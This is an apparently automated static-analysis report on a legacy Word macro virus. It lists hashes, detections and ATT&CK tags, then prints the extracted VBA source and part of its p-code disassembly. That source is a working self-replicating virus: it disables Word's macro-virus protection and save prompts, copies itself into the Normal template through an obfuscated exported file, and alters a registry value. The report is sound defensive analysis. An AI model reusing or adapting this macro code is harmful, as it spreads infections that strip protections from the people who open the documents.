Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ad4907ff0a6d58cc…

MALICIOUS

Office (OLE)

39.0 KB Created: 1998-12-18 00:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 53b6b34082bc956daa02f619d6c1294d SHA-1: 3d76e9c0435b1b1dc5ce0e5c910aa80a492903cf SHA-256: ad4907ff0a6d58cc8e8db92e2df4b52cc7a1291d3e0e643af919e520a7381272
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro virus, specifically detecting WordBasic macro markers and the presence of VBA macros. The AutoOpen and Auto_Close macros are present, suggesting execution upon document opening and closing. The script attempts to export its own code as 'Clinton.dll' to the Windows System32 directory, a common technique for malware persistence or propagation. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Class-22 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-22
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9936 bytes
SHA-256: 3ff9590cacf794250dfce030270e42bab3f4b46f48e1f0aa788e9435956c06ca
Detection
ClamAV: Doc.Trojan.Class-22
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo done

Options.VirusProtection = Chr(48): x = 0: vx = 1: xv = 4: zz = 2

Options.SaveNormalPrompt = Chr(48)

Options.ConfirmConversions = Chr(48)

Clintons = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.CountOfLines

Clintonr = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.CountOfLines

If Clintonr > 70 And Clintons > Sgn(x) Then GoTo done

If Clintonr < 70 Then

    Set Monica = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1))))

    ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).Name = Monica.Name

    ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Chr(67) + Chr(108) + Chr(105) + Chr(110) + Chr(116) + Chr(111) + Chr(110) + Chr(46) + Chr(100) + Chr(108) + Chr(108)

End If

If Clintons = Sgn(x) Then Set Monica = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1))))

Infect = Int(Rnd * 100)

If Infect = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)

If Month(Now()) > 8 And Day(Now()) = 17 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "Class Clinton Document"

Monica.codemodule.AddFromFile Windows.Application.Path & Chr(67) + Chr(108) + Chr(105) + Chr(110) + Chr(116) + Chr(111) + Chr(110) + Chr(46) + Chr(100) + Chr(108) + Chr(108)

With Monica.codemodule

    For j = Abs(vx) To Abs(xv)

    .deletelines Abs(vx)

    Next j

End With

If Clintonr < 70 Then

    With Monica.codemodule

    .replaceline Abs(vx), "Sub AutoClose()"

    .replaceline 75, "Sub ToolsMacro()"

    End With

End If

With Monica.codemodule

    For j = Abs(zz) To 72 Step Abs(zz)

    .replaceline j, Chr(39) & Application.Assistant & Application.DisplayRecentFiles & Application.FocusInMailHeader & Application.Build & Application.StartupPath & Application.ActiveDocument & Application.Version

    Next j

End With

done:

If Clintonr > 70 And Clintons = Sgn(x) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Sub ViewVBCode()

End Sub 'Word97/Class.Clinton.A by Virus ;) Smile

' Processing file: /opt/analyzer/scan_staging/4ec5d63dc8024aae9c3b5b445eea24ae.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 4628 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError done 
' Line #3:
' Line #4:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	St x 
' 	BoS 0x0000 
' 	LitDI2 0x0001 
' 	St vx 
' 	BoS 0x0000 
' 	LitDI2 0x0004 
' 	St xv 
' 	BoS 0x0000 
' 	LitDI2 0x0002 
' 	St zz 
' Line #5:
' Line #6:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitDI2 0x0030 
' 	ArgsLd Chr 0x0001 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St Clintons 
' Line #11:
' Line #12:
' 	LitDI2 0x0001 
' 	Coerce (Int) 
' 	ArgsLd Atn 0x0001 
' 	ArgsLd Cos 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St Clintonr 
' Line #13:
' Line #14:
' 	Ld Clintonr 
' 	LitDI2 0x0046 
' 	Gt 
' 	Ld Clintons 
' 	Ld x 
' 	FnSgn 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo done 
' 	EndIf 
' Line #15:
' Line #16:
' 	Ld Clintonr 
' 	LitDI2 0x0046 
' 	Lt 
' 	IfBlock 
' Line #17:
'
... (truncated)

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